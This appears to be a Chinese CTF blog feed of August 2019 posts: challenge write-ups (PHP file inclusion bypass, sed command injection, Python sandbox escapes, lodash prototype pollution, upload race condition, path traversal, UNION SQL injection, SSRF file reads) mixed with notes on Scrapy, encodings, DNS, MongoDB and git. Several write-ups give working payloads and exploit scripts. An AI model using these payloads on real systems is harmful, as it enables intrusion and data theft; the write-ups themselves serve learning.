                return true;
            }

            $_page = urldecode($page);
            $_page = mb_substr(
                $_page,
                0,
                mb_strpos($_page . '?', '?')
            );
            if (in_array($_page, $whitelist)) {
                return true;
            }
            echo "you can't see it";
            return false;
        }
    }

    if (! empty($_REQUEST['file'])
        && is_string($_REQUEST['file'])
        && emmm::checkFile($_REQUEST['file'])
    ) {
        include $_REQUEST['file'];
        exit;
    } else {
        echo "<br><img src=\"https://i.loli.net/2018/11/01/5bdb0d93dc794.jpg\" />";
    }  
?>

题目要绕过不算难，但是有一个地方很重要

这是我在本地调试的目录：

调试的时候我使用了如下payload

http://localhost/audit/warmup.php?file=source.php%253f/../flag.php

此时能够成功绕过

就在这种情况下，文件包含也是成功的！

根据题目提示flag在某个位置，其实这里靠猜了，因为只能用../这样的来回到上一级目录

参考

phpmyadmin4.8.1远程文件包含漏洞
 phpmyadmin4.8.1后台getshell

phpMyAdmin 4.8.x 本地文件包含漏洞利用

突然还发现一个可以复现很多漏洞的地方 https://www.vulnspy.com/phpmyadmin-4.8.1/

github地址： https://github.com/vulnspy/phpmyadmin-4.8.1

redpwnctf复盘

Mon, 19 Aug 2019 00:00:00 GMT

MISC

he sed shi sed

一道很有意思的题目，看了一下源码如下：

from os import system
inp = input("What you thought you sed\n")
rep = '/' + input("What you aren't sure you sed\n") +  '/' 
new = input("What you actually sed\n")
cmd = 's' + rep + new + "/g"
if "'" not in new:
	cmd += "'"
print("You actually said")

system("echo '" + inp + "' | sed '" +  cmd)

sed命令是一种文本处理的命令， sed s/a/b/g 就是替换

如果我们输入：

What you thought you sed
abcdef
What you aren't sure you sed
b
What you actually sed
c
You actually said
accdef

可以据此猜测出就是将b替换成了c

于是猜测命令如下： echo $1 | sed 's/$2/$3/g'

注意到这两种命令的区别

于是输入$(ls)

得到的结果如下：

然后尝试输入'$(ls)'

这个时候就得到结果了，实现了命令注入

genericpyjail

题目给了一个黑名单，并且提示你黑名单是不安全的，也就是要绕过了。

很多都被禁止了，那么如何才能够绕过这些限制来达到任意命令执行呢

这里可以使用unicode编码来绕过限制hhh（没想到吧

或者这样也行：

payload:

'\u0066\u003d\u006f\u0070\u0065\u006e\u0028\u0022\u0066\u006c\u0061\u0067\u002e\u0074\u0078\u0074\u0022\u002c\u0020\u0022\u0072\u0022\u0029'.decode('unicode-escape')
'\u0070\u0072\u0069\u006e\u0074\u0028\u0066\u002e\u0072\u0065\u0061\u0064\u0028\u0029\u0029'.decode('unicode-escape')

or--

exit(getattr(locals().get(chr(95)*2+'built'+'ins'+chr(95)*2), 'op'+'en')('fl'+'ag.txt').read())

留下一个问题，怎么将字符转为Unicode编码。。

Tux Trivia Show

一个师傅的exp


from pwn import *
from subprocess import check_output

p = remote("chall.2019.redpwn.net", 6001)

p.recvuntil("!!!")

while True:
    try:
        print(p.recv())
        s = p.recvuntil('?')
    except EOFError:
        s = p.recv()
        print(s)
    print(s)
    s = s[:-1]
    s = s.split('capital of ')[1]
    # print(s)
    ans = check_output(['python3', 'get_capital.py', s])
    print(ans) 
    p.sendline(ans)

p.interactive()

get_capital.py如下：

from countryinfo import CountryInfo


country = sys.argv[1]
country_obj = CountryInfo(country)

caps = {'New Mexico': 'Santa Fe', 'Colorado': 'Denver', 'Vermont': 'Montpelier', 'Arizona': 'Phoenix', 'Iowa': 'Des Moines', 'Florida': 'Tallahassee', 'West Virginia': 'Charleston', 'Illinois': 'Springfield', 'Oregon': 'Salem', 'Kansas': 'Topeka', 'Arkansas': 'Little Rock', 'Kentucky': 'Frankfort', 'Massachusetts': 'Boston', 'Texas': 'Austin', 'Wyoming': 'Cheyenne', 'Maryland': 'Annapolis', 'New York': 'Albany', 'New Jersey': 'Trenton', 'Louisiana': 'Baton Rouge', 'South Carolina': 'Columbia', 'Georgia': 'Atlanta', 'Idaho': 'Boise', 'Alaska': 'Juneau', 'Oklahoma': 'Oklahoma City', 'Connecticut': 'Hartford', 'Nebraska': 'Lincoln', 'Tennessee': 'Nashville', 'Pennsylvania': 'Harrisburg', 'Michigan': 'Lansing', 'Maine': 'Augusta', 'Wisconsin': 'Madison', 'South Dakota': 'Pierre', 'California': 'Sacramento', 'New Hampshire': 'Concord', 'Indiana': 'Indianapolis', 'Washington': 'Olympia', 'Utah': 'Salt Lake City', 'Alabama': 'Montgomery', 'Minnesota': 'St. Paul', 'Hawaii': 'Honolulu', 'Ohio': 'Columbus', 'Missouri': 'Jefferson City', 'Delaware': 'Dover', 'Virginia': 'Richmond', 'Nevada': 'Carson City', 'Montana': 'Helena', 'North Dakota': 'Bismarck', 'Mississippi': 'Jackson', 'North Carolina': 'Raleigh', 'Rhode Island': 'Providence', 'Bahamas': 'Nassau', 'Andorra': 'Andorra la Vella', 'East Timor (Timor-Leste)': 'Dili', 'Serbia': 'Belgrade', 'Macedonia': 'Skopje', 'Gambia': 'Banjul'}

# with open('usstates.csv', 'r') as f:
#     for l in f:
#         l = l.strip()
#         state, cap = l.split(',')
#         caps[state] = cap

try:
    if country == 'Georgia':
        print(caps['Georgia'])
    elif country == 'San Marino':
        print('San Marino')
    elif country == 'Kiribati':
        print('Tarawa')
    elif country == 'Moldova':
        print('Chisinau')
    else:
        print(country_obj.capital())
except KeyError:
    print(caps[country])

genericpyjail2

还是一道python沙盒逃逸的题目

源码

gone = ['open','file','execfile','compile','reload','__import__','eval','input']
for func in gone:
    del __builtins__.__dict__[func]
print 'wow! again, there\'s a file called flag.txt! insane!'
while True:
    try:
      x = raw_input()      
      if " " in x:
       print "no spaces!"
       exit()    
      print "now it's ", x, "!"
      exec 'x=' + x
    except Exception, e:
      print 'Exception: ', e

给出的payload如下

raw_input((42).__class__.__base__.__subclasses__()[40]('flag.txt').read())

web

blueprint

题目给出了源码

但是这对于不懂JavaScript的我来说又有什么用呢。

天真的以为是XSS，于是抓包fuzz了一波，但是没有任何结果：

之后得知这是JavaScript原型污染，具体什么是JavaScript的原型污染之后再说

可以参考这篇，lodash这个库存在原型链污染

poc如下

const mergeFn = require('lodash').defaultsDeep;
const payload = '{"constructor": {"prototype": {"a0": true}}}'

function check() {
    mergeFn({}, JSON.parse(payload));
    if (({})[`a0`] === true) {
        console.log(`Vulnerable to Prototype Pollution via ${payload}`);
    }
  }

check();

原体中存在漏洞的代码；

exp



user_id = '22b0d010672600233e4ea68da64b1750'
url = "http://39.106.125.244:8001/"

r = requests.post(url, cookies={"user_id":user_id}, json={"content":"yakuhito was here","public":true, "constructor": {"prototype": {"public": true}}})

print(r.text)

然后就可以看到flag了

关于JavaScript原型链污染的文章可以看p牛的

参考

Redpwn CTF 2019 – Writeup

scrapy爬虫入门

Mon, 19 Aug 2019 00:00:00 GMT

scrapy架构

如图

最中间的是scarpy的引擎，引擎指挥Spiders去爬取URL，spiders将requests发往调度器，调度器会针对这些请求进行排队，之后送往dowanloader，downloader会从internet上下载资源，将这些response发往spiders，spiders将其封装好送往item pipeline中

一个spider的工作流程大概就是如上所述

scrapy可以开启一个shell进行调试

(base) C:\Users\zz>scrapy shell https://www.anquanke.com
2019-08-19 19:18:54 [scrapy.utils.log] INFO: Scrapy 1.7.3 started (bot: scrapybot)
2019-08-19 19:18:54 [scrapy.utils.log] INFO: Versions: lxml 4.3.2.0, libxml2 2.9.9, cssselect 1.1.0, parsel 1.5.2, w3lib 1.21.0, Twisted 19.7.0, Python 3.7.3 (default, Mar 27 2019, 17:13:21) [MSC v.1915 64 bit (AMD64)], pyOpenSSL 19.0.0 (OpenSSL 1.1.1b  26 Feb 2019), cryptography 2.6.1, Platform Windows-10-10.0.18362-SP0
2019-08-19 19:18:54 [scrapy.crawler] INFO: Overridden settings: {'DUPEFILTER_CLASS': 'scra

....

此时会得到一些对象

[s] Available Scrapy objects:
[s]   scrapy     scrapy module (contains scrapy.Request, scrapy.Selector, etc)
[s]   crawler    <scrapy.crawler.Crawler object at 0x00000269894A07B8>
[s]   item       {}
[s]   request    <GET https://www.anquanke.com>
[s]   response   <200 https://www.anquanke.com>
[s]   settings   <scrapy.settings.Settings object at 0x00000269894A0AC8>
[s]   spider     <DefaultSpider 'default' at 0x269897d5160>
[s] Useful shortcuts:
[s]   fetch(url[, redirect=True]) Fetch URL and update local objects (by default, redirects are followed)
[s]   fetch(req)                  Fetch a scrapy.Request and update local objects
[s]   shelp()           Shell help (print this help)
[s]   view(response)    View response in a browser

此时可以针对我们的xpath进行调试

xpath如何获得？我们可以自己手动编写，或者直接通过chrome的开发者工具获得

然后尝试一下对不对

In [2]: response.xpath('//*[@id="post-list"]/div[1]/div[2]/div[2]/div/div[1]/a')
Out[2]: [<Selector xpath='//*[@id="post-list"]/div[1]/div[2]/div[2]/div/div[1]/a' data='<a target="_blank" rel="noopener nore...'>]

In [3]: response.xpath('//*[@id="post-list"]/div[1]/div[2]/div[2]/div/div[1]/a/text()').extract()
Out[3]: [' 正在直播 | ISC 2019 互联网安全大会']

这样就能爬取下来了

一个简单的爬虫

我们看一下官方提供的一个栗子

目录结构如下：

在items.py文件中：

from scrapy.item import Item, Field

class Website(Item):

    name = Field()
    description = Field()
    url = Field()

这里定义了我们需要爬取的items，稍后我们将在我们的spider中编写xpath规则来提取我们需要的数据

在dmoz.py中(爬虫的名字叫dmoz，名字必须唯一)

from scrapy.spiders import Spider
from scrapy.selector import Selector

from dirbot.items import Website   # ---> 导入了我们之前定义的items

class DmozSpider(Spider):
    name = "dmoz"
    allowed_domains = ["dmoz.org"]
    start_urls = [
        "http://www.dmoz.org/Computers/Programming/Languages/Python/Books/",
        "http://www.dmoz.org/Computers/Programming/Languages/Python/Resources/",
    ]

    def parse(self, response):  # spider默认的回调函数
        """
        The lines below is a spider contract. For more info see:
        http://doc.scrapy.org/en/latest/topics/contracts.html
        @url http://www.dmoz.org/Computers/Programming/Languages/Python/Resources/
        @scrapes name
        """
        sites = response.css('#site-list-content > div.site-item > div.title-and-desc')
        items = []

'''
解析数据
'''
        for site in sites:
            item = Website()
            item['name'] = site.css(
                'a > div.site-title::text').extract_first().strip()
            item['url'] = site.xpath(
                'a/@href').extract_first().strip()
            item['description'] = site.css(
                'div.site-descr::text').extract_first().strip()
            items.append(item)

        return items

可以看到这就是一个简单的，可以运行的爬虫了

当然还有后续的步骤，包括如何爬取更多的数据，如何换页，如何将数据存入数据库中等等

参考

xpath学习

MISC中神奇的编码

Sun, 18 Aug 2019 00:00:00 GMT

社会主义核心价值观编码

https://sym233.github.io/core-values-encoder/

Quoted-Printable编码

http://www.mxcz.net/tools/quotedprintable.aspx

…

..... ..... ..... ..... !?!!. ?.... ..... ..... ..... .?.?! .?... .!...
..... ..... !.?.. ..... !?!!. ?!!!! !!?.? !.?!! !!!.. ..... ..... .!.?.
..... ...!? !!.?. ..... ..?.? !.?.. ..... .!.?. ..... ...!? !!.?! !!!!!
!!?.? !.?!! !!!!! !!!!. ?.... ..... ....! ?!!.? !!!!! !!!!! !!?.? !.?!!
!!!!! !!!!! !!!!! !!!!! !.!!! !!!!! !!!!! .?... ..... ..... ..!?! !.?..
..... ..... ..?.? !.?.. ..!.? ..... ..... ...!? !!.?! !!!!! !!!!! !?.?!
.?!!! !!!!! !!!!! !!!!! !!!.? ..... ..... ...!? !!.?. ..... ..... .?.?!
.?... ..... ..... ...!. ..!.! !!!!. ?.... ..... ..... .!?!! .?!!! !!!!!
!!!!! !?.?! .?!!! !!!!. ..... ..... ..!.! !!.!! !.!!! .!!!! !!!.. .....
..... ...!. ?.... ..... ....! ?!!.? ..... ..... ..?.? !.?.. ..... .....
..... .!.?. ..... ..... ..!?! !.?!! !!!!! !!!!! ?.?!. ?!!!! !!!!! !!!!!
!!!!! !!.!! !!!.! !!!!! !!!.? ..... ..!?! !.?.. ....? .?!.? ..... .!.?.
..... ..... ..!?! !.?.. ..... ..... ?.?!. ?.... ..... ..... ....! .!!!.
!!!!! !!.?. ..... ..... ....! ?!!.? !!!!! !!!!! !!!!? .?!.? !!!!! !!!!.
..... ...!. ..... ..... ..!.! !!... ..!.? ..... ..... ...!? !!.?. .....
..... .?.?! .?... ..... ..!.? ..... ..... ...!? !!.?! !!!!! !!!!! !?.?!
.?!!! !!!!! !!!!! !!.!! !.?.. ..... ..... .!?!! .?... ..... ....? .?!.?
..... ..... ..... .!.?. ..... ..... ..!?! !.?!! !!!!! !!!!! ?.?!. ?!!!!
!!!!! !!!!! !!!!! !!.!. ?.... ..... ..... .!?!! .?... ..... ..... .?.?!
.?!.! !!!!. ?.... ..... ..!?! !.?.. ..... ...?. ?!.?. ...!. ?.

参考

bugku ctf 一段base64 wirteup

python中的编码问题

Sun, 18 Aug 2019 00:00:00 GMT

似乎好久之前就对这个有疑问了，还是沉下心来好好理解一下

python3中的字符串都是Unicode编码的，我们知道编码是有很多种方式的，最常见的有utf-8,gbk,ascii编码

好我们先来看：

a = 'example'  ---> a 是 str类型
b = a.encode('utf-8') ---> 编码为字符

此时b的值为： b'example'

那这就很奇怪了，明明字母e德utf-8编码是0x65,为什么这里还是原来的？？

不妨看这个：

我们看到python默认会将这个解释成对应的字符，那这就很没办法了

但是请看这个：

当我们去取出b中的一个元素时，这时候又转成了字母e的utf-8编码，只能说python在这一点上确实做的我无法理解

ok到这里大概疑惑就没了，用什么格式编码得到的byte，就需要用对应的格式解码回去

可以看出不同的编码得到的byte是不一样的，并且python默认会将可打印的字符直接打印出来？

问题

十六进制

a = 'example'
b = b'example'
res = ''
for i in b:
    res += str(hex(i))[2:]

此时res的值为：6578616d706c65

如果要将其变回原来的字符串怎么办

也就是一种ASCII hex编码

bytes.fromhex(res)这样就行了

上传竞争

Sat, 17 Aug 2019 00:00:00 GMT

文件上传的题目遇到的不是很多，这里分析一下文件上传竞争

上传竞争的来源：

栗子：先存储文件，再判断是否合法，然后再删除。

首先将文件上传到服务器，然后检测文件后缀名，如果不符合条件，就删掉，典型的“引狼入室”
攻击：首先上传一个php文件
当然这个文件会被立马删掉，所以我们使用多线程并发的访问上传的文件，总会有一次在上传文件到删除文件这个时间段内访问到上传的php文件，一旦我们成功访问到了上传的文件，那么它就会向服务器写一个shell。

这里有一道对于文件上传竞争的wp：

2018护网杯第一场 web easy tornado LTshop超详细解答

同时我们来看一下moctf的一道题:

http://119.23.73.3:5006/web2/index2.php

直接访问index2.php肯定不正常，抓包修改成index.php，提示uploadsomething.php

访问之后是一个文件上传页面。自定义文件名和文件内容

文件名可以是php后缀的，那思路就是写一个shell进去再访问，但是访问时候页面提示太慢了。

所以题目可能是检测到了php代码将其删除了，于是考虑文件上传竞争

抓两个包，一个是文件上传的 /web2/uploadsomething.php?filename=1.php&content=%3C%3Fphp%2Bsystem%28%E2%80%9Cls%E2%80%9D%29%3B%3F%3E

另一个是访问的 /web2/uploads/56db0b8d99fd6116ed67d35b607cd9351ea94156/1.php

都发送到intruder模块，设置线程为50，字典为空

先爆破第一个：

然后爆破第二个：

就会有flag了

参考

CTF中的条件竞争漏洞

网络安全专项赛

Sat, 17 Aug 2019 00:00:00 GMT

跟队友打了一下这个比赛，小白学习了很多知识

show_me_your_image

这道题目很晕，上传文件之后可以查看，URL中的name似乎可以进行任意文件读取，但是base64解码之后得到的结果却是乱码，同时session可以用之前flask解码的脚本解码，但是这明明是php？？？(后来才知道是伪装成了php的flask)

首先还是需要学习一下python中的requests包，如何使用requests包上传文件

requests上传文件的简要代码如下：

# coding=utf-8


url = "http://localhost:6789/upload"
file = open("1.jpg", 'rb')
files = {'file': ('new_name.jpg', file, 'image/pjpeg')}
response = requests.post(url, files=files)
file.close()
print response.status_code
print response.request.headers
print response.request.body

files中包含了file对应的文件名，文件内容，和类型，有这三者就够了

参考师傅们的exp




from bs4 import BeautifulSoup

def base_encode(target, filename):
    if len(filename) != 3:
        return None
    r = requests.post(target+"upload.php",
                      files={'file': (filename + '.jpg',
                                      'z3r0test', 'text/plain')}
                      )
    # print(r.text)
    soup = BeautifulSoup(r.text, "html.parser")
    pic_url = soup.find('img')
    # print(pic_url['src'].replace('img.php?name=', ''))
    filename = pic_url['src'].replace('img.php?name=', '')
    # print(filename)
    urldecode = urllib.parse.unquote(filename)
    return urldecode[:4]

def read(target, filename):
    filename = urllib.parse.unquote(filename)
    r = requests.get(target+"img.php",
                     params={'name': filename})
    print(r.text)

if __name__ == "__main__":
    target = "http://fc663c386ea14c96ba9808b72602d341fda4447a2bfb4e01.changame.ichunqiu.com/"
    payload = "../.././proc/self/root/root/flag.txt"
    # payload = "../..//proc/self/cwd/app.py"
    if len(payload) % 3 != 0:
        print("must be three times!")
        exit()
    final = ""
    for i in range(0, len(payload), 3):
        final += base_encode(target, payload[i:i + 3])
    final = urllib.parse.quote(final)
    read(target, final)

两个trick：

fuzz出文件名的编码关系，这里是三个变四个
/proc/self/cwd/ 指向的是当前路径，在本题中用于拼凑3倍数长度的字符串

其实我们只需要上传文件名然后获得对应的编码就行r = requests.post(target+"upload.php",files={'file': (filename + '.jpg', 'z3r0test', 'text/plain')})

之后调用BeautifulSoup去解析就行了

参考

使用requests 上传文件

DNS解析记录

Fri, 16 Aug 2019 00:00:00 GMT

又遇到了一到头疼的MISC签到题，虽说有点脑洞但还是基础知识积累的不够。

DNS解析记录：

A记录、AAAA记录、CNAME记录、MX记录、NS记录、TXT记录、SRV记录、URL转发

各种记录简记如下：

A记录：将域名指向一个IPv4地址（例如：100.100.100.100），需要增加A记录
CNAME记录：如果将域名指向一个域名，实现与被指向域名相同的访问效果，需要增加CNAME记录。这个域名一般是主机服务商提供的一个域名
MX记录：建立电子邮箱服务，将指向邮件服务器地址，需要设置MX记录。建立邮箱时，一般会根据邮箱服务商提供的MX记录填写此记录
NS记录：域名解析服务器记录，如果要将子域名指定某个域名服务器来解析，需要设置NS记录
TXT记录：可任意填写，可为空。一般做一些验证记录时会使用此项，如：做SPF（反垃圾邮件）记录
AAAA记录：将主机名（或域名）指向一个IPv6地址（例如：ff03:0:0:0:0:0:0:c1），需要添加AAAA记录
SRV记录：添加服务记录服务器服务记录时会添加此项，SRV记录了哪台计算机提供了哪个服务。格式为：服务的名字.协议的类型（例如：_example-server._tcp）。
SOA记录： SOA叫做起始授权机构记录，NS用于标识多台域名解析服务器，SOA记录用于在众多NS记录中那一台是主服务器
PTR记录： PTR记录是A记录的逆向记录，又称做IP反查记录或指针记录，负责将IP反向解析为域名
显性URL转发记录：将域名指向一个http(s)协议地址，访问域名时，自动跳转至目标地址。例如：将www.liuht.cn显性转发到www.itbilu.com后，访问www.liuht.cn时，地址栏显示的地址为：www.itbilu.com。
隐性UR转发记录L：将域名指向一个http(s)协议地址，访问域名时，自动跳转至目标地址，隐性转发会隐藏真实的目标地址。例如：将www.liuht.cn显性转发到www.itbilu.com后，访问www.liuht.cn时，地址栏显示的地址仍然是：www.liuht.cn。

所以这题就是：

服务器:  192.168.1.1
Address:  192.168.1.1

非权威应答:
gamectf.com     text =

        "flag{welcome_TXT}"

比如我的域名解析记录：

用dig命令也行：

$ dig -t txt gamectf.com                                                                                                          
; <<>> DiG 9.11.3-1ubuntu1.3-Ubuntu <<>> -t txt gamectf.com
;; global options: +cmd
;; Got answer:
;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 16974
;; flags: qr rd ra; QUERY: 1, ANSWER: 1, AUTHORITY: 0, ADDITIONAL: 1

;; OPT PSEUDOSECTION:
; EDNS: version: 0, flags:; udp: 4096
;; QUESTION SECTION:
;gamectf.com.                   IN      TXT

;; ANSWER SECTION:
gamectf.com.            600     IN      TXT     "flag{welcome_TXT}"

;; Query time: 26 msec
;; SERVER: 192.168.1.1#53(192.168.1.1)
;; WHEN: Fri Aug 16 07:18:56 CST 2019
;; MSG SIZE  rcvd: 70

使用dig命令甚至可以直观地感受到DNS解析的全过程，然而在我的WSL上只有一点点记录

JarvisOJ

Fri, 16 Aug 2019 00:00:00 GMT

神盾局的秘密

查看页面源码，猜测是本地文件包含

先查看showimg.php

<?php
	$f = $_GET['img'];
	if (!empty($f)) {
		$f = base64_decode($f);
		if (stripos($f,'..')===FALSE && stripos($f,'/')===FALSE && stripos($f,'\\')===FALSE
		&& stripos($f,'pctf')===FALSE) {
			readfile($f);
		} else {
			echo "File not found!";
		}
	}
?>

然后查看index.php

<?php 
	require_once('shield.php');
	$x = new Shield();
	isset($_GET['class']) && $g = $_GET['class'];
	if (!empty($g)) {
		$x = unserialize($g);
	}
	echo $x->readfile();
?>

再查看shield.php

<?php
	//flag is in pctf.php
	class Shield {
		public $file;
		function __construct($filename = '') {
			$this -> file = $filename;
		}
		
		function readfile() {
			if (!empty($this->file) && stripos($this->file,'..')===FALSE  
			&& stripos($this->file,'/')===FALSE && stripos($this->file,'\\')==FALSE) {
				return @file_get_contents($this->file);
			}
		}
	}
?>

尝试直接查看pctf.php没有成功

class Shield{
    public $file='pctf.php';

}
$a=  new Shield();
echo serialize($a);

IN a mess

源代码提示访问 index.phps

<?php

error_reporting(0);
echo "<!--index.phps-->";

if(!$_GET['id'])
{
	header('Location: index.php?id=1');
	exit();
}
$id=$_GET['id'];
$a=$_GET['a'];
$b=$_GET['b'];
if(stripos($a,'.'))
{
	echo 'Hahahahahaha';
	return ;
}
$data = @file_get_contents($a,'r');
if($data=="1112 is a nice lab!" and $id==0 and strlen($b)>5 and eregi("111".substr($b,0,1),"1114") and substr($b,0,1)!=4)
{
	require("flag.txt");
}
else
{
	print "work harder!harder!harder!";
}

?>

这个审计题目是见过的

精心构造的payload

用0a绕过弱类型，用伪协议绕过文件读取，用%001111绕过substr和strlen

之后来到第二关：

发现是注入

过滤了空格和一些关键字符，可以使用双写绕过

之后尝试爆字段

字段数为3

GET /%5eHT2mCpcvOLf/index.php?id=-1/*1222*/uniunionon/*123*/selselectect/*123*/1,2,3%23 HTTP/1.1

数据库名：

其实表是已经知道了，就是content，不过还是再手动爆一下：

这里必须使用十六进制编码，不然得不到

爆字段

GET /%5eHT2mCpcvOLf/index.php?id=-1/*1222*/uniunionon/*123*/selselectect/*123*/1,2,group_concat(column_name)/*123*/frfromom/*123*/information_schema.columns/*123*/where/*123*/table_schema=0x74657374%23 HTTP/1.1

获取数据

GET /%5eHT2mCpcvOLf/index.php?id=-1/*1222*/uniunionon/*123*/selselectect/*123*/1,2,group_concat(id,context,title)/*123*/frfromom/*123*/content HTTP/1.1

chopper

这题重新复现一下一叶飘零师傅的思路，同时好好理解一下什么是ssrf

查看源码发现一个很有意思的点：


<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
<html lang="en">
<head>
	<meta http-equiv="Content-Type" content="text/html;charset=UTF-8">
	<title>ISCC 2016</title>
	<div class="container">
		<img src="proxy.php?url=http://dn.jarvisoj.com/static/images/proxy.jpg" alt="">
		
		<p><a href="admin">管理员登录</a></p>
	</div>
</head>
<body>
	
</body>
</html>

那个图片是通过一个url加载出来的，于是我就尝试用自己blog上的图片

果真如此：

于是这就是一典型的SSRF了

直接尝试读取文件

读取失败，尝试绕过

直接大写一个字母就行

于是可以读取任意文件

如果url不加参数

于是我们就知道了文件的位置


<?php
/*
P_PROXY v0.2
@author:haozigege
@time:2016/3/19
@windows extension=php_curl.dll(php.ini)
@linux cd ext/curl;phpize  ./configure –with-curl;make;
@info url全部通过GET来传递,如果使用POST，则读取POST数据发送请求,可以给中国菜刀提供接口;
cookie和其他http头部信息可以直接从请求中读取。
@update 修改了host不一致的问题,去除了method参数简化了逻辑结构。
*/

function get_result($curlobj){
	$result=curl_exec($curlobj);
	$headerSize=curl_getinfo($curlobj,CURLINFO_HEADER_SIZE);
	$res_header=substr($result, 0, $headerSize);
	$result	=substr($result,$headerSize);
	curl_close($curlobj); 
	set_response_header($res_header);
	echo $result;
}
function getmyheader($curlobj,$headerlines){
	$res_headers=$headerlines;
	return $res_headers;
}
function set_response_header($headers){
	$headarr=explode("\r\n",$headers);
	foreach($headarr as $key=>$value){
		header($value);
	}
}

function init_curl($link,$headers){
	$curlobj = curl_init(); 
    curl_setopt($curlobj,CURLOPT_URL,$link); 
	curl_setopt($curlobj, CURLOPT_RETURNTRANSFER, 1);//raw output
	curl_setopt($curlobj, CURLOPT_HTTPHEADER, $headers);
	curl_setopt($curlobj, CURLOPT_HEADER, 1);
	return	$curlobj;
}

foreach(getallheaders() as $key=>$value){
	if ($key=='Content-Length' and isset($_POST)){
		$post=http_build_query($_POST);
		$value=strlen($post);
	}
	$headers[]=$key.':'.$value;
}

if(isset($_REQUEST['url'])){
	$link=$_REQUEST['url'];
	$url=explode('/',$link)[2];

	/* curl setting */
	$curlobj = init_curl($link,$headers);

	//GET
	if ($_SERVER['REQUEST_METHOD']=='GET'){
		//READ FILE
		if(substr($link, 0,7)=='file://'){
		echo substr($link,7);
		$result="";
		//$result=file_get_contents(substr($link,7));
		echo $result;
		curl_close($curlobj);
		}else{
			curl_setopt($curlobj, CURLOPT_POST, 0); 
			curl_setopt($curlobj, CURLOPT_HTTPHEADER, ["HOST",$url]);
			get_result($curlobj);
			}
		}else {
		//POST
			curl_setopt($curlobj, CURLOPT_POST, 1);
			curl_setopt($curlobj, CURLOPT_POSTFIELDS,$post);
			curl_setopt($curlobj, CURLOPT_HTTPHEADER, ["HOST",$url]);
			get_result($curlobj);
			}
}else{
	echo 'invalid request';
}

?>

可以看出对协议的过滤很垃圾，就是看是不是file://开头的

尝试读取index.php和index.html，index.php没有，index.html就是原来的页面

这时候去admin目录下探测：

尝试探测一下文件：

view-source:http://web.jarvisoj.com:32782/proxy.php?url=File:///opt/lampp/htdocs/admin/robots.txt

就发现robots.txt

于是读

PORT 51

记录一下curl的姿势

在自己的vps上通过curl --local-port=51进行访问

curl命令是一个很强大的命令，由于浏览器访问网站的时候存在重定向的问题，于是可以直接用curl访问原始的网页，cybrics的签到题就是这个思路

DESCRIPTION
       curl  is  a  tool  to transfer data from or to a server, using one of the supported protocols (DICT, FILE, FTP, FTPS, GOPHER, HTTP, HTTPS,
       IMAP, IMAPS, LDAP, LDAPS, POP3, POP3S, RTMP, RTSP, SCP, SFTP, SMB, SMBS, SMTP, SMTPS, TELNET and TFTP). The command is  designed  to  work
       without user interaction.

可以看到curl支持很多协议，包括POP3

常见的用法

curl https://prontosil.club 直接访问原始页面

curl -I https://prontosil.club 得到请求头

curl -H发送自定义的请求头

curl -d发送post请求

curl命令详解

localhost

只能在本地访问，

伪造请求头即可

login

注意抓包，请求头中有hint

参考这篇文章

MongoDb学习

Fri, 16 Aug 2019 00:00:00 GMT

最近接触了一些NoSQL的题目，主要的数据库还是以MongoDb为主，于是总结一下MongoDb的学习

MongoDb中的数据库，集合，文档和传统的关系型数据的对应就不用细说了

db显示当前使用的数据库
show dbs显示所有可用的数据库，如果一个数据库里面啥都没有这里就不会显示
use xxx指定使用哪种个数据库，如果不存在会自动创建
show tables显示当前数据库下所有的表(又回到了关系型数据库的概念了23333)

后面的实验都在test数据库下：

> show tables
runoob
users

插入数据

> db.users.insert({'username':'xxx','password':11111}
... )
WriteResult({ "nInserted" : 1 })

当前表中的内容：

> db.users.find()
{ "_id" : ObjectId("5d53bd7674357af54ea6fb01"), "username" : "prontosil", "password" : "123456" }
{ "_id" : ObjectId("5d53bd8574357af54ea6fb02"), "username" : "abc", "password" : "gaashasfa" }
{ "_id" : ObjectId("5d53bd8a74357af54ea6fb03"), "username" : "abcddd", "password" : "gaasasdfashasfa" }
{ "_id" : ObjectId("5d53beab74357af54ea6fb04"), "username" : "xxxppp" }
{ "_id" : ObjectId("5d53c8ae74357af54ea6fb05"), "username" : "pxy", "password" : 123 }
{ "_id" : ObjectId("5d5642185a9caa8f023df426"), "username" : "admin", "password" : 123 }
{ "_id" : ObjectId("5d564c035a9caa8f023df427"), "username" : "xxx", "password" : 11111 }

MongoDb聚合

MongoDB中聚合(aggregate)主要用于处理数据(诸如统计平均值,求和等)，并返回计算后的数据结果。有点类似sql语句中的 count(*)。

参考菜鸟教程中的栗子：
集合中的数据如下：

{
   _id: ObjectId(7df78ad8902c)
   title: 'MongoDB Overview', 
   description: 'MongoDB is no sql database',
   by_user: 'runoob.com',
   url: 'http://www.runoob.com',
   tags: ['mongodb', 'database', 'NoSQL'],
   likes: 100
},
{
   _id: ObjectId(7df78ad8902d)
   title: 'NoSQL Overview', 
   description: 'No sql database is very fast',
   by_user: 'runoob.com',
   url: 'http://www.runoob.com',
   tags: ['mongodb', 'database', 'NoSQL'],
   likes: 10
},
{
   _id: ObjectId(7df78ad8902e)
   title: 'Neo4j Overview', 
   description: 'Neo4j is no sql database',
   by_user: 'Neo4j',
   url: 'http://www.neo4j.com',
   tags: ['neo4j', 'database', 'NoSQL'],
   likes: 750
},

使用aggregate语句：

> db.mycol.aggregate([{$group : {_id : "$by_user", num_tutorial : {$sum : 1}}}])
{
   "result" : [
      {
         "_id" : "runoob.com",
         "num_tutorial" : 2
      },
      {
         "_id" : "Neo4j",
         "num_tutorial" : 1
      }
   ],
   "ok" : 1
}
>

它类似于：

select by_user, count(*) from mycol group by by_user

new Bugku

Fri, 16 Aug 2019 00:00:00 GMT

web26

<?php 
$num=$_GET['num']; 
$str=$_GET['str']; 
show_source(__FILE__); 
if (isset($num)&&isset($str)) { 
    if (preg_match('/\d+/sD',$str)) { 
        echo "vagetable hhhh"; 
        exit(); 
    } 
    $result=is_numeric($num) and is_numeric($str); 
    if ($result) { 
        include "flag.php"; 
        echo "$flag"; 
    } 
    else{ 
        echo "vagetablessssss"; 
    } 
} 
?>

复习git

Fri, 16 Aug 2019 00:00:00 GMT

最近发现自己还不是很懂git，于是好好学习一下

git标签管理

git有一个打标签的功能，这个功能可以理解成虚拟机的快照，

Git的标签虽然是版本库的快照，但其实它就是指向某个commit的指针（跟分支很像对不对？但是分支可以移动，标签不能移动），所以，创建和删除标签都是瞬间完成的。 —-摘自廖雪峰

